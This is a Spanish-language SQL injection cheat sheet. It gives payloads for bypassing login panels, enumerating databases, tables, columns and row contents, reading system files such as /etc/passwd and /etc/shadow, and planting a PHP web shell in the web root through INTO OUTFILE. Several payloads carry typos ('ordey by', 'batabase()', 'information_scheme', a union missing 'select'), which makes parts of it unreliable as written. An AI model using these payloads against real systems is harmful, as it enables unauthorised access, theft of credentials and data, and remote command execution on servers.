SQL Injection.
Es una técnica de ataque utilizada para explotar vulnerabilidades en aplicaciones web que no validan adecuadamente la entrada del usuario en la consulta SQL que se envía a la base de datos. Los atacantes pueden utilizar esta técnica para ejecutar consultas SQL maliciosas y obtener información confidencial, como nombres de usuario, contraseñas y otra información almacenada en la base de datos.
Las inyecciones SQL se producen cuando los atacantes insertan código SQL malicioso en los campos de entrada de una aplicación web. Si la aplicación no valida adecuadamente la entrada del usuario, la consulta SQL maliciosa se ejecutará en la base de datos, lo que permitirá al atacante obtener información confidencial o incluso controlar la base de datos.
Objetivo: Obtener información confidencial almacenada en una base de datos.
Nota: No todas la queries inician con comillas. Tu input se debe reflejar en el sitio web para iniciar las inyecciones.
SQLI based error.
Son peticiones que se realizan a la base de datos y si el servidor te interpreta la query como output. Por lo regular estas consultas se realizan en paneles de login para burlarlo y ganar acceso al sistema sin proporcionar contraseña en caso de que no este sanitisado y posteriormente enumerar las bases de datos en uso.
Si como output recibes un 1 con estas consultas es por que se acontece un SQLI based error.
' or 1=1-- -
' and 1=1-- -
' ordey by 100-- - -> Con esta query puedes descifrar el número de tablas en una base de datos.
' union select batabase()-- - -> Mostrar el nombre de la base de datos en uso.
' union select version()-- - -> Ver la versión de la base de datos que esta en uso.
' union select user()-- - -> Ver el usuario administrador de la base de datos.
' union load_file("/etc/passwd")-- - -> Listar archivos del sistema como el /etc/passwd o el /etc/shadow
' union load_file("/var/www/html/config.php")-- - -> Listar la config del servidor
Enumerar el nombre de las bases de datos registrados en el sistema.
' union select schema_name from information_schema.schemata-- -
Iterar sobre las DB(0,1 | 1,2, | 1,3, | 2,1 | 2,2 | etc…)
' union select schema_name from information_scheme.schemata limit 0,1-- -
Enumerar todas las bases de datos existentes en el sistema.
' union select group_concat(<schema_name>) from information_schema.schemata-- -
Mostrar las tablas de una base de datos.
' union select group_concat(table_name) from information_schema.tables where table_schema="<name_DB>"-- -
Mostrar las columnas de una base de datos.
' union select group_concat(<column_name>) from information_schema.columns where table_schema="<name_DB>" and
table_name="<table_name>"-- -
Mostrar tabla y columna de la base de datos separados por “:”.
' union select group_concat(table_name,":",column_name) from information_schema.columns where table_schema="name_D
"-- -
Mostrar las filas (contenido) de una tabla.(0x3a representa el “:” url encode).
' union select group_concat(fila1,0x3a,fila2) from name_table-- -
Depositar contenido en una ruta para saber si puedes subir una web shell.
' union select "probando" into outfile "/var/www/html/prueba.txt"-- -
Depositar una webshell dentro de un sitio web.
' union select "<?php system($_REQUEST['cmd']); ?>" into outfile "/var/www/html/prueba.php"-- -